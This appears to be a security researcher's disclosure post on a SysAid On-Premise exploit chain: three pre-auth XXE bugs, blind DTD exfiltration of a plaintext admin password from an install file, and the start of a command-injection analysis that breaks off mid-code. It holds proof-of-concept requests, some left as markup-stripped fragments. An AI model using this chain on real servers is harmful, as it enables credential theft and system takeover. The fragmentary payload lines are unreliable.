# SysOwned, Your Friendly Support Ticket – SysAid On-Premise Pre-Auth RCE Chain (CVE-2025-2775 And Friends)
It’s… another week, and another vendor who is apparently experienced with ransomware gangs but yet struggles with email.
In what we’ve seen others term “the watchTowr treatment”, we are once again (surprise, surprise) disclosing vulnerability research that allowed us to gain pre-authenticated Remote Command Execution against yet another enterprise-targeting product – specifically, SysAid On-Premise (version `23.3.40`) here-on referred to as “SysAid”.
> **Clarifying SysAid’s Product Lineup**
> Although SysAid’s website often refers to “SysAid ITSM” and “SysAid HelpDesk” as if they were distinct offerings, these are simply different branding labels for the same core platform. In reality, SysAid provides just two separate products based on deployment model:
> **SysAid On-Prem**: The classic, self-hosted version of the platform, installed and managed within your own data center or private cloud. **SysAid SaaS**: The fully hosted, cloud-delivered version of the identical platform, maintained by SysAid and accessible via web browser.
A brief look at the news shows that SysAid is no stranger to vulnerabilities, and their “business-critical” solutions have previously received attention from ransomware gangs.
In recent blog posts, we’ve discussed “business-critical” appliances and identified endless vulnerabilities in your favourite backup and replication appliances. So we thought it was time to give another business-critical piece of tooling some love—IT Service Management (ITSM) solutions.
ITSM solutions truly earn their designation as business-critical infrastructure. They often serve as the primary interface for support tickets and are responsible for housing all the sensitive information you’d expect regarding internal tickets, incidents, knowledge base entries, and asset inventories.
It goes without saying – ITSMs are genuine, Internet-facing, treasure troves for your neighbourhood miscreants, red teams, and squirrels.
It should come as no surprise that due to precisely these factors, ITSM solutions remain an _extremely_ attractive target to ransomware gangs who look for any opportunity to double-extort organizations, encrypt systems, and steal sensitive data.
Today, we’ll walk you through our discovery of the following vulnerabilities:
– CVE-2025-2775 – XML External Entity Injection
– CVE-2025-2776 – XML External Entity Injection
– CVE-2025-2777 – XML External Entity Injection
> Small editors note: Enjoy the timeline.
Let’s dive in and walk through how we achieved complete pre-authenticated Remote Command Execution (RCE) as SYSTEM earlier this year.
## One Small Shout Out..
Shout out to the SysAid product security team, who truly committed to only responding to emails asking for help reproducing complex XXE vulnerabilities while ignoring our other emails for almost three months. Thankfully, they eventually managed to deploy patches.
We remain big fans of our private and public community service initiatives.
## A Little XXEplainer
As with much watchTowr research, this quest to pre-auth Remote Command Execution started with a feeling.
On a very regular basis, we hunt “interesting” enterprise appliances and software, looking for software that gives us… the feeling.
The feeling – often defined as vibes, intuition, and meme-ability – struck us, with SysAid On-Prem catching our eye for further investigation. Once the feeling has been achieved, we become a little more methodical in determining whether we should invest further time:
– Is it a business-critical appliance? Yes.
– Is it highly prevalent on the public internet? Tick.
– Does it contain sensitive information? Absolutely.
– Has it been historically targeted by threat actors? Check.
# The Architecture
Think of the SysAid server as just another Windows box in your closet, except this one handles every IT ticket, asset record, and help-desk magic you throw at it.
In an on-premise deployment, SysAid runs as a Windows Server–based application within your organization’s infrastructure.
The SysAid Windows installer sets up a handful of background services, but at its core, it’s super exciting – it is a Java-powered web server that runs straight from bundled JAR files.
The main application logic resides in `sysaid.jar`, which is of course your usual 18mb JAR file with hundreds of classes.
While SysAid delivers a rich and extensive feature set, each additional feature and extra capability broadens the overall attack surface we must assess.
As usual, our first goal is to understand better what we’re looking at, and to map out the system’s functionality.
Taking a quick peek at its `web.xml` reveals over 700 exposed Java servlets, a huge ecosystem where misconfiguration and overlooked edge-case bugs can lurk unnoticed. Naturally, this gives a fairly large opportunity for things to go _horribly wrong._
## The First Pre-Auth XXE
Our journey starts with identifying a pre-auth XXE within the `/mdm/checkin` endpoint.
Due to the naming convention, we were immediately suspicious that mobile devices were likely using this method as part of the mobile device management flow, periodically pinging the SysAid instance to share their status.
When diving into the codebase, our eyes were therefore set on looking for all things MDM, and all things request parsing.
Very quickly (we mean, very very quickly), we identified a method that satisfied all of these requirements as part of the GetMdmMessage class:
“`
com.ilient.mdm.GetMdmMessage#doPost
“`
This method is responsible for wrangling incoming requests aimed towards `/mdm/` prefixed paths. In particular, if the request URI is `/mdm/checkin`, this method is responsible for calling the `PropertyListParser.parse(byteArray)` function to process the user-supplied data contained within the HTTP POST request – naturally, without validation or sanitization.
Here is our code snippet of interest:
“`
1: public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) { 2: String requestURI = httpServletRequest.getRequestURI(); 3: String stringBuffer = httpServletRequest.getRequestURL().toString(); 4: if (IlientConf.getInstance().getConf().getLoadAccountsOnDemand()) { 5: stringBuffer = stringBuffer.replace(“http:”, “https:”); 6: } 7: String accountIDFromURL = Helper.getAccountIDFromURL(stringBuffer, Services.getInstance(getServletContext())); 8: if (stringBuffer.lastIndexOf(“/mdm/”) > 0) { 9: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf(“/”) + 1); 10: } else { 11: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf(“/mobile”)) + “/mdm/”; 12: } 13: 14: [..SNIP..] 15: 16: } else if (requestURI.endsWith(“checkin”)) { 17: IlientConf.logger.debug(“GetMdmMessage 5: CHECK_IN”); 18: 19: // XXE Vulnerability is triggered here 20: NSDictionary parse2 = PropertyListParser.parse(byteArray); 21: 22: String obj3 = parse2.objectForKey(“MessageType”).toString(); 23: parse2.objectForKey(“Topic”); 24: String obj4 = parse2.objectForKey(“UDID”).toString(); 25: if (obj3.equals(“TokenUpdate”)) { 26: String obj5 = parse2.objectForKey(“PushMagic”).toString();
“`
Let’s break down the following code line by line:
1. **Line [2]:** The user‑provided URI is stored in the `requestURI` variable.
2. **Line [3]:** The request URL is stored in the `stringBuffer` variable.
3. **Line [8]:** The code checks whether `stringBuffer` contains the `/mdm/` path.
4. **Line [16]:** If the `/mdm/` check passed, the code then verifies whether `requestURI` ends with `”checkin”`.
5. **Line [20]:** If the above checks pass, our user-supplied data is parsed, triggering the XXE.
Following this logic, the first XXE can be triggered by sending the following request:
“`
POST /mdm/checkin HTTP/1.1 Host: target Content-Type: application/xml Content-Length: 129 %foo; ]>
“`
We’re swiftly returned a HTTP 200 with a blank response, and an immediate attempt to fetch `/watchTowr.dtd` from our attacker-controlled server:
This request contains one of our favorite indicators of successful XXE, a tell-tale Java User-Agent, proving that we’re successfully triggering the vulnerability:
Bam! Textbook XXE.
Unsatisfied that this was really the vulnerability research we’d set out to perform, we carried on looking for _more…_
## The First Second Pre-Auth XXE, But Different
The second Pre-Auth XXE vulnerability occurs in the same method but on a different line
“`
com.ilient.mdm.GetMdmMessage#doPost
“`
At **Line `[21]`,** user-provided data within the POST request is once again parsed by `PropertyListParser.parse` with no sanitization, leading to another XXE:
“`
1: public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) { 2: String requestURI = httpServletRequest.getRequestURI(); 3: String stringBuffer = httpServletRequest.getRequestURL().toString(); 4: if (IlientConf.getInstance().getConf().getLoadAccountsOnDemand()) { 5: stringBuffer = stringBuffer.replace(“http:”, “https:”); 6: } 7: String accountIDFromURL = Helper.getAccountIDFromURL(stringBuffer, Services.getInstance(getServletContext())); 8: if (stringBuffer.lastIndexOf(“/mdm/”) > 0) { 9: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf(“/”) + 1); 10: } else { 11: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf(“/mobile”)) + “/mdm/”; 12: } 13: [..SNIP..] 14: 15: 16: } else if (requestURI.endsWith(“serverurl”)) { 17: new String(byteArray); 18: IlientConf.logger.debug(“GetMdmMessage 8: SERVER_URL”); 19: // XXE vulnerability here 20: 21: NSDictionary parse3 = PropertyListParser.parse(byteArray);
“`
If we break down the following code line-by-line:
1. **Line [2]:** The user‑provided URI is stored in the `requestURI` variable.
2. **Line [3]:** The request URL is stored in the `stringBuffer` variable.
3. **Line [8]:** The code checks whether `stringBuffer` contains the `/mdm/` path.
4. **Line [16]:** If the `/mdm/` check passed, the code then verifies whether `requestURI` ends with `”serverurl”`.
5. **Line [21]:** If the above checks pass, our user-supplied data is parsed, triggering the XXE.
The following request triggers the vulnerability
“`
POST /mdm/serverurl HTTP/1.1 Host: target Content-Type: application/xml Content-Length: 129 %foo; ]>
“`
Once again, we’re returned a HTTP 200 with a blank response, and an immediate attempt to fetch `/watchTowr.dtd` from our attacker-controlled server, indicating success:
## The Third Pre-Auth XXE
The third XXE triggers when sending a request to the `/lshw` endpoint, causing the following method to get executed:
“`
com.ilient.agentApi.LshwAgent#doPost
“`
This method doesn’t do much, to be very honest. Primarily, it’s a wrapper to check for the existence of various HTTP parameters.
Once we get past that mess of excitement, another method is called to handle the main logic, achieved by executing the following statement `new b().a()`:
“`
public class LshwAgent extends HttpServlet { public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) { try { if (new b().a(new CharArrayReader(MiscUtils.ReaderToChars(httpServletRequest.getReader())), Helper.convertParameter(httpServletRequest, ContentPackSchedulerConstants.ACCOUNT_ID), Helper.convertParameter(httpServletRequest, “serial”), Helper.convertParameter(httpServletRequest, “osName”), Helper.convertParameter(httpServletRequest, “osVer”), Helper.convertParameter(httpServletRequest, “osCode”), Helper.convertParameter(httpServletRequest, “osKernel”), Helper.convertParameter(httpServletRequest, “agentVersion”), httpServletRequest, getServletContext())) { httpServletResponse.getWriter().println(“OK”); } else { httpServletResponse.sendError(500, “Error while processing request.”); } } catch (Exception e) { IlientConf.logger.error(“Exception in LshwAgent”, e); httpServletResponse.sendError(500, “Error while processing request.”); } } }
“`
Speed running reading of this code, eventually, the following method is called:
“`
com.ilient.agentApi.b#a
“`
This XXE vulnerability is just as trivial to exploit.
The user-provided HTTP POST request is directly processed by this method, performing multiple operations before eventually reaching our code snippet of interest:
“`
1: public final boolean a(Reader reader, String str, String str2, String str3, String str4, String str5, String str6, String str7, HttpServletRequest httpServletRequest, ServletContext servletContext) { 2: MessageDocument newInstance; 3: MessageType addNewMessage; 4: SoftwareType addNewSoftware; 5: InventoryType inventory; 6: MachineType addNewMachine; 7: boolean z; 8: BufferedReader bufferedReader; 9: String str8; 10: StringBuffer stringBuffer; 11: int indexOf; 12: try { 13: newInstance = MessageDocument.Factory.newInstance(); 14: addNewMessage = newInstance.addNewMessage(); 15: addNewSoftware = addNewMessage.addNewBody().addNewInventory().addNewSoftware(); 16: this.z = addNewMessage.getBody().getInventory().addNewStorageDevices(); 17: inventory = addNewMessage.getBody().getInventory(); 18: addNewMachine = inventory.addNewMachine(); 19: this.y = addNewMachine.addNewMachineSMBIOS(); 20: this.D = inventory.addNewDisplay(); 21: z = false; 22: 23: [..SNIP..] 24: } 25: } else if (z) { 26: if (readLine.startsWith(“**********software-end**********”)) { 27: z = false; 28: } else { 29: String[] split = readLine.split(“\\|\\|\\|”); 30: if (split != null && split.length >= 5) { 31: addNewSoftware.addSoftwareProduct(split[0] + ” – ” + split[2] + SysaidConstants.DEFAULT_DOMAIN + split[1]); 32: } 33: } 34: } else if (z) { 35: if (readLine.startsWith(“**********partitions-end**********”)) { 36: z = false; 37: } else { 38: String[] split2 = readLine.split(“[ \\t]+”); 39: int i = split2[0].length() > 0 ? 0 : 1; 40: if (split2 != null && split2.length >= 4 && !split2[i + 0].equalsIgnoreCase(“major”)) { 41: String str9 = split2[i + 3]; 42: if (str8 == null || !str9.startsWith(str8)) { 43: str8 = str9; 44: String str10 = “/dev/” + str9; 45: StorageDeviceType addNewStorageDevice = this.z.addNewStorageDevice(); 46: addNewStorageDevice.setStorageLogicalName(str10); 47: addNewStorageDevice.setStorageCapacity(a(split2[i + 2]) %foo; ]>
“`
We’re greeted with a HTTP 200 and “OK” response, alongside an immediate request to our attacker-controlled server, indicating success:
## Performative XXEs
Performative vulnerabilities, like the XXEs above, feel like the type of currently-lacking-in-impact vulnerabilities you might rely on a consultancy for – said consultancy must however be wrapped in as many rebrands as you feel is achievable across a short space of time.
Anyway, we digress…
Freshly armed with three XXE’s – as eluded to above, we’re still missing something essential… **impact.**
We’ve satisfied the PoC || GTFO requirement, but what can we do with them?!
In typical XXE fashion, we have a few options for exploitation:
– Retrieve local files containing sensitive information
– Poke other systems on an internal network
– Interact with a localhost-bound network service
– Denial-of-Service (boring!)
We decided to lead an easy life and go straight to an attempt to leak file content, in this case aimed at the `win.ini` file.
To set things up, we hosted an `exfil.dtd` containing the following content:
“`
“>
“`
Then, using the complexity of 1000 geniuses, we constructed the following complex HTTP request to trigger the XXE with our external DTD:
“`
POST /mdm/serverurl HTTP/1.1 Host: 192.168.8.162:8080 Content-Length: 119 %asd;%c;]> &rrr;
“`
As expected, we immediately get a callback requesting our `exfil.dtd` file, but don’t see any indications of the second stage executing and calling back to us with the contents of `win.ini` … weird.
Undeterred, and assuming that we’re just not very good with computers, we decided to try and determine what limitation might exist by manually creating a file named `secret.txt` with the following content:
Updating our external DTD to point at this new file, we then attempted to exfiltrate this file using the same payload as before:
It works! We immediately get a request for our `exfil.dtd` , and a secondary request containing the content of our file!
We had an immediate hunch and decided to add a few additional lines to our file and try again:
Okay, so we’re onto something—if a file has more than one line of content, we cannot exfiltrate it with our fresh shiny XXEs. This is slightly frustrating, but ultimately, it reduces the opportunities to escalate any of these XXE vulnerabilities into something more serious.
> Note: In recent Java releases, this mitigation was added specifically to block the full disclosure of file contents during XXE attacks. One workaround is to (ab)use error-based XXE, but in this instance, the XXE was entirely blind.
Looking back at SysAid’s architecture and our hackers’ handbook of things to try, maybe there are internal services we can hit.
Nope.
## Escalating XXE to Admin Account Takeover
Undeterred, we kept thinking.
We asked ourselves—is it possible that in this shiny enterprise-grade and polished solution, there is a file that contains no special characters **and** the first line contains something of material use to us?
What if there were a **text-based** file, with **sensitive information in plaintext?**
“Impossible, it’s 2025 and everything important is just stored in a database!”, we thought, to our naive and unenlightened selves.
SysAid, who was many steps ahead of us, thought differently and kindly had left us an option just sitting there on the filesystem:
“`
C:\Program Files\SysAidServer\logs\InitAccount.cmd
“`
This file is created during installation by SysAid and contains **the clear-text password of the main administrator** in its **first line**.
“`
“C:\Program Files\SysAidServer\jre\bin\java” -cp “C:\Program Files\SysAidServer\root\WEB-INF\lib\sysaid.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\activation-1.1.1.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\activityLogEntry.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\agentSettings.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\agentSettingsv2.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\amazon-kinesis-client-2.2.11.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\amazon-sqs-java-extended-client-lib-2.0.2.jar; C:\Program Files\SysAidServer\root\WEB-INF\lib\stax-utils-0.0.1-s.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\streambuffer-0.4.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\sts-2.16.73.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\sysaid-common.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\sysaid.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\sysAidAgentFolder.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\test-utils-2.16.73.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\tika-core-2.9.1.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\usageStatisticsData.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\usageStatisticsQueries.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\utils-2.16.73.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\validation-api-1.1.0.Final.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\velocity-1.7.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\vpro-0.0.1-s.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\wmiInventory.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\wmiInventoryResp.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\wmiQuickScanResp.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\wmiScan.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\wmiScanResp.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\ws-commons-util-1.0.2.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\wsdl4j-1.6.2.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\wstx-asl-3.2.1.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\xalan-2.7.1.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\xercesImpl-2.9.0.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\xml-apis-0.0.1-s.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\xml-apis-xerces-0.0.1-s.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\xml-resolver-1.1.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\xmlbeans-2.3.0.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\xmlParserAPIs-0.0.1-s.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\xmlrpc-client-3.1.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\xmlrpc-common-3.1.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\XmlSchema-0.0.1-s.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\xpp3-1.1.4c.jar;C:\Program Files\SysAidServer\root\WEB-INF\lib\zip4j-2.9.1.jar;” com.ilient.server.InitAccount “C:\Program Files\SysAidServer\root” “sysaid_instance” “sysaid_instance” **”admin” “P@ssW0rd”** “2”
“`
Take a look above at our example `InitAccount.cmd` – do you see it?
Right at the very end, you can see both a username and clear-text password. As you can see in the above output, the administrator username is `admin` and the password is `P@ssw0rd` (as an example).
This is important because, and hopefully satisfies our need for a single-line file, with sensitive data that we can use.
The best part about this file? It remains on the system post-installation, even after it has been used to create the initial accounts!
Now you, an astute human with reasoning skills, might wonder why the file even exists? Well, the following occurs:
1. When you execute the installer for SysAid On-Perm, the user is asked to enter a password for their shiny new admin account.
2. This is the password that is then beautifully taken, transported carefully, and then dumped in plaintext into `InitAccount.cmd`.
3. Subsequently, the solution installer copies all solution files to the system and asks for your license.
4. If a valid license is provided, the now-installed solution is initialised, and as part of that initialisation, `InitAccount.cmd` is executed.
5. This creates the default administrator account with the specified password.
6. You revel in the wonder of why we ever had databases for anything.
Many of you will now see where this is heading.
Using our XXE vulnerability, we should be able to extract this file and retrieve the specified plaintext password, giving us full administrative access to SysAid as an administrator-privileged user.
Let’s try it.
Again, being repetitive robots and not agentic, we host the following DTD on our attacker-controlled host:
“`
“>
“`
Secondly, we send yet another HTTP request to trigger the XXE, specifying our remotely hosted DTD:
“`
POST /mdm/serverurl HTTP/1.1 Host: target Content-Type: application/xml Content-Length: 121 %asd;%c;]> &rrr;
“`
As expected – we receive the full contents of the file we need, containing our new-favourite plaintext password.
But is this pre-authenticated Remote Command Execution?
**It is not, so we march on.**
## From Admin to Pwned: The SysAid RCE Speedrun
In January 2025, we disclosed the vulnerabilities mentioned above to SysAid and spent two months truly enjoying the fluent, transparent, and generally pleasurable communication with SysAid.
Once we woke up from that delusional dream and were curious whether these vulnerabilities could be escalated further, we looked at historical vulnerability disclosures for inspiration.
Fairly quickly, we spotted several previously disclosed and patched vulnerabilities, mostly path traversals used to gain some form of RCE, but all were post-authentication.
Using this new knowledge to give us confidence that there might be more, we started hunting for the final piece of the puzzle—translating our pre-auth XXE → password disclosure into full-blown Remote Command Execution.
At this point, in March 2025, we were rudely awakened from our blissful and ignorant existence when we spotted lines in SysAid’s changelog describing patches for items that sounded _suspiciously_ like the XXE vulnerabilities we’d disclosed, resolved in version `24.4.60`.
“Surely not?” we thought, out of surprise that SysAid had managed to communicate with others despite their challenges communicating with us.
Slightly heartbroken, we continued reading the changelog, noticing something extra—the patch notes mentioned an “OS Command Injection Vulnerability Fix.”
Could this be it? Could this be precisely what we are looking for to complete our chain?!
> Editors note: To be extremely clear, before we get passive aggressive tweets from people who clearly have nothing better to do in their lives, we did not discover/report the OS Command Injection that we will detail now. Whoever originally discovered this – we hope we do this some justice.
We started patch diffing and were immediately greeted with a significant number (100+ changes), not all of which were security-related.
Interestingly, the change of interest didn’t immediately jump out to us (which is surprisingly given OS command injection vulnerabilities are usually a little easier to spot in changes).
The following compiled JSP page appeared to be where our attention needed to be focused:
“`
com.ilient.jsp.API_jsp
“`
Here is the diff, do you see the vulnerability?
Let’s isolate the vulnerable code, stare at the following code, and read through the following breakdown:
– **Line [45]:** Check for the presence of the `updateApiSettings` request parameter to determine if the user intends to update API settings.
– **Line [46]:** If present, pull the `javaLocation` value directly from the HTTP request.
– **Line [47]:** Retrieve the current user’s account ID from `loginInformationBean`.
– **Line [48]:** Persist the new `javaLocation` into the account’s settings via `AccountPropertiesManager`.
At this stage, there’s no direct command injection; the user input is simply read and stored. However, because `JavaLocation` later gets placed into a shell script (as we saw around lines 40–49), this becomes a **second‑order** command‑injection risk.
Exciting – quickly realising that we needed to trace exactly how and where `AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION` is used when building and executing those scripts to confirm it’s appropriately sanitized:
“`
1: public final void _jspService(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) { 2: LoginInformationBean loginInformationBean; 3: if (!DispatcherType.ERROR.equals(httpServletRequest.getDispatcherType())) { 4: String method = httpServletRequest.getMethod(); 5: if (“OPTIONS”.equals(method)) { 6: httpServletResponse.setHeader(“Allow”, “GET, HEAD, POST, OPTIONS”); 7: return; 8: } else if (!OAuthMessage.GET.equals(method) && !OAuthMessage.POST.equals(method) && !”HEAD”.equals(method)) { 9: httpServletResponse.setHeader(“Allow”, “GET, HEAD, POST, OPTIONS”); 10: httpServletResponse.sendError(405, “JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS”); 11: return; 12: } 13: } 14: JspWriter jspWriter = null; 15: ?? r0 = 0; 16: PageContext pageContext = null; 17: try { 18: httpServletResponse.setContentType(“text/html”); 19: PageContext pageContext2 = f171a.getPageContext(this, httpServletRequest, httpServletResponse, (String) null, true, (int) Helper.USER_SELF_SERVICE, true); 20: pageContext = pageContext2; 21: pageContext2.getServletContext(); 22: pageContext2.getServletConfig(); 23: HttpSession session = pageContext2.getSession(); 24: JspWriter out = pageContext2.getOut(); 25: 26: [..SNIP..] 27: 28: new VelocityContext(); 29: String str = null; 30: r0 = PermissionsParams.SWITCH_TO_GROUP_SETTINGS.equals(httpServletRequest.getParameter(“updateApi”)); 31: if (r0 != 0) { 32: try { 33: String str2 = GlobalPaths.getPath(loginInformationBean.getAccountID(), GlobalPathsKeys.API_DIR, true, false) + “/”; 34: IlientConf.logger.debug(“Home dir ” + IlientConf.HOME_DIR); 35: IlientConf.logger.debug(“apiLocation: ” + str2); 36: r0 = com.ilient.api.a.a.a(loginInformationBean, str2); 37: str = r0; 38: if (r0 == 0) { 39: str = “Updating API successfully. Please restart your SysAid Serivce”; 40: } 41: } catch (Exception e) { 42: IlientConf.logger.error(“Exception in updating API: “, e); 43: } 44: } 45: if (PermissionsParams.SWITCH_TO_GROUP_SETTINGS.equals(httpServletRequest.getParameter(“updateApiSettings”))) { 46: String parameter = httpServletRequest.getParameter(“javaLocation”); 47: r0 = loginInformationBean.getAccountID(); 48: AccountPropertiesManager.addAccountStringProperty(r0, AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION, parameter); 49: try { 50: loginInformationBean.getAccount(); 51: r0 = loginInformationBean; 52: Account.auditAccountSave((LoginInformationBean) r0, r0.getAccountID(), resourceBundle.getString(“accountSaveMsg.apiSettings”)); 53: } catch (Exception e2) { 54: IlientConf.logger.error(“Failed to save API: “, e2); 55: out.write(“\n \n “); 58: } 59: } 60: String accountStringProperty = AccountPropertiesManager.getAccountStringProperty(loginInformationBean.getAccountID(), AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION); 61: out.write(“\n\n\n\n\n \n
“`
`AccountPropertiesConstants.*SYSAID_API_SETTINGS_JAVA_LOCATION` is utilized in the following method:
“`
com.ilient.api.a.a#a
“`
The relevant code from this method is below:
“`
1: public static String a(LoginInformationBean loginInformationBean, String str) { 2: String[] list; 3: if (loginInformationBean == null) { 4: throw new Exception(“Login Bean is null.”); 5: } 6: ResourceBundle resourceBundle = loginInformationBean.getResourceBundle(); 7: String str2 = null; 8: String accountStringProperty = AccountPropertiesManager.getAccountStringProperty(loginInformationBean.getAccountID(), AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION); 9: if (accountStringProperty == null || accountStringProperty.trim().length() == 0) { 10: return resourceBundle.getString(“api.empty.path”); 11: } 12: boolean isWindows = Helper.isWindows(); 13: try { 14: String str3 = str + “src/com/ilient/api/”; 15: String str4 = str3 + “sysaidObjects/”; 16: new File(str4).mkdirs(); 17: 18: 19: [..SNIP..] 20: 21: printWriter2.flush(); 22: printWriter2.close(); 23: new File(str + “/classes”).mkdirs(); 24: list = new File(str + “../lib/”).list(); 25: } catch (Exception e) { 26: IlientConf.logger.error(“Error in updating SysAid API jar file”, e); 27: e.printStackTrace(); 28: str2 = resourceBundle.getString(“api.update.fail.sysaid.logs”); 29: } 30: if (list == null || list.length == 0) { 31: return resourceBundle.getString(“api.webinf.lib.files.missing”); 32: } 33: String str5 = isWindows ? “;” : “:”; 34: StringBuffer stringBuffer = new StringBuffer(); 35: for (int i = 0; i